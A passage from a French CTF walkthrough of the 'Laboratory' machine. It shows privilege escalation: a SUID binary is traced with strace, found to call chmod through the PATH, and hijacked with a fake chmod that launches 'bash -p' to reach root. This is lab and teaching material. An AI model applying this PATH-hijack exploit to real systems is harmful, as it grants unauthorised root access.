Dans les résultats, une section attire particulièrement l’attention :
[~] Custom SUID Binaries (Interesting Stuff)
------------------------------
/usr/local/bin/docker-security
------------------------------
Le script identifie donc /usr/local/bin/docker-security comme un binaire SUID personnalisé. Ce type de fichier mérite une analyse manuelle, car son comportement peut dépendre de commandes externes appelées pendant son exécution.
Exploration de /usr/local/bin/docker-security
Tu commences par observer les permissions du fichier :
ls -l /usr/local/bin/docker-security
Résultat :
-rwsr-xr-x 1 root root 16712 Aug 28 2020 /usr/local/bin/docker-security
Le s dans les permissions indique que le bit SUID est actif. Le propriétaire du fichier étant root, ce programme peut s’exécuter avec les privilèges effectifs de root.
Tu vérifies ensuite le type du fichier :
file /usr/local/bin/docker-security
Résultat :
/usr/local/bin/docker-security: setuid ELF 64-bit LSB shared object, x86-64, dynamically linked, not stripped
Il s’agit donc d’un binaire ELF 64 bits, dynamique, avec le bit SUID. À ce stade, l’objectif n’est pas encore de l’exploiter directement, mais de comprendre ce qu’il fait.
Analyse avec strace
Tu passes donc à une analyse dynamique avec strace. Pour commencer, tu exécutes le binaire en enregistrant une trace complète dans un fichier temporaire :
strace -f -o /tmp/docker-security.strace /usr/local/bin/docker-security 2>/dev/null
L’option -f est importante, car le programme lance des processus enfants. Sans elle, tu ne verrais pas les commandes exécutées par ces sous-processus. L’option -o permet d’écrire la trace dans un fichier, ce qui rend l’analyse plus simple.
La redirection 2>/dev/null masque les messages d’erreur affichés pendant l’exécution et permet de garder la sortie lisible.
Tu recherches ensuite les appels execve, qui correspondent aux programmes exécutés :
grep -n "execve" /tmp/docker-security.strace
La sortie montre que docker-security lance /bin/sh pour exécuter deux commandes chmod :
execve("/bin/sh", ["sh", "-c", "chmod 700 /usr/bin/docker"], ...)
execve("/bin/sh", ["sh", "-c", "chmod 660 /var/run/docker.sock"], ...)
Maintenant que tu sais que chmod est appelé, tu filtres la trace sur ce mot-clé :
grep -n "chmod" /tmp/docker-security.strace
Cette fois, la sortie montre que le shell recherche chmod dans les répertoires du PATH :
stat("/usr/local/sbin/chmod", ...) = -1 ENOENT (No such file or directory)
stat("/usr/local/bin/chmod", ...) = -1 ENOENT (No such file or directory)
stat("/usr/sbin/chmod", ...) = -1 ENOENT (No such file or directory)
stat("/usr/bin/chmod", ...) = 0
Le programme finit donc par exécuter le vrai binaire /usr/bin/chmod :
execve("/usr/bin/chmod", ["chmod", "700", "/usr/bin/docker"], ...)
execve("/usr/bin/chmod", ["chmod", "660", "/var/run/docker.sock"], ...)
Cette résolution via le PATH est la faiblesse exploitable. Comme docker-security est un binaire SUID appartenant à root, tu peux tenter de placer un faux chmod dans un répertoire contrôlé, puis modifier le PATH pour que ce faux chmod soit exécuté à la place de /usr/bin/chmod.
Détournement du PATH avec un faux chmod
Tu crées d’abord un faux exécutable chmod dans /tmp :
cat > /tmp/chmod << 'EOF'
#!/bin/bash
/bin/bash -p
EOF
Le script contient simplement un appel à Bash avec l’option -p.
Cette option est importante : elle demande à Bash de conserver les privilèges effectifs hérités du programme SUID, au lieu de les abandonner.
Tu rends ensuite le faux chmod exécutable en appelant explicitement le vrai binaire système :
/usr/bin/chmod +x /tmp/chmod
Tu ajoutes maintenant /tmp au début du PATH :
export PATH=/tmp:$PATH
Tu peux vérifier que ton faux chmod est bien celui qui sera trouvé en premier :
which chmod
Résultat attendu :
/tmp/chmod
Enfin, tu relances le binaire SUID :
/usr/local/bin/docker-security
Comme /tmp est placé avant les répertoires système dans le PATH, l’appel à chmod déclenche ton faux script au lieu du vrai binaire système.
Tu obtiens alors un shell Bash :
root@laboratory:~#
Tu vérifies les privilèges effectifs du shell :
id
Résultat :
uid=0(root) gid=0(root) groups=0(root),1000(dexter)
Le shell s’exécute donc directement avec les privilèges de root.
root.txt
Tu peux maintenant lire le flag final :
cat /root/root.txt
1126xxxxxxxxxxxxxxxxxxxxxxxxxxxad07
La lecture de root.txt confirme que tu as pris le contrôle complet de la machine avec les privilèges root. Cette étape termine l’escalade de privilèges et marque la fin du challenge CTF.
Conclusion
La machine Laboratory propose une progression cohérente depuis l’énumération initiale jusqu’à l’obtention de l’accès root. La découverte du sous-domaine git.laboratory.htb permet d’identifier une instance GitLab vulnérable à CVE-2020-10977, puis de l’exploiter afin d’obtenir une première exécution de commandes sur la cible.
À partir de cet accès, l’analyse des dépôts Git présents sur le serveur permet de récupérer des informations utiles et de pivoter vers l’utilisateur dexter via SSH. L’escalade de privilèges repose ensuite sur le binaire SUID /usr/local/bin/docker-security. Son observation avec strace montre qu’il appelle chmod sans chemin absolu, ce qui permet de détourner le PATH avec un faux binaire contrôlé.
Cette machine illustre donc bien une chaîne d’exploitation classique en environnement Linux : énumération, prise de pied applicative, récupération d’une clé SSH, accès utilisateur, puis escalade locale grâce à une mauvaise gestion des chemins d’exécution.
Tu as repéré une erreur, une imprécision ou une amélioration possible ?
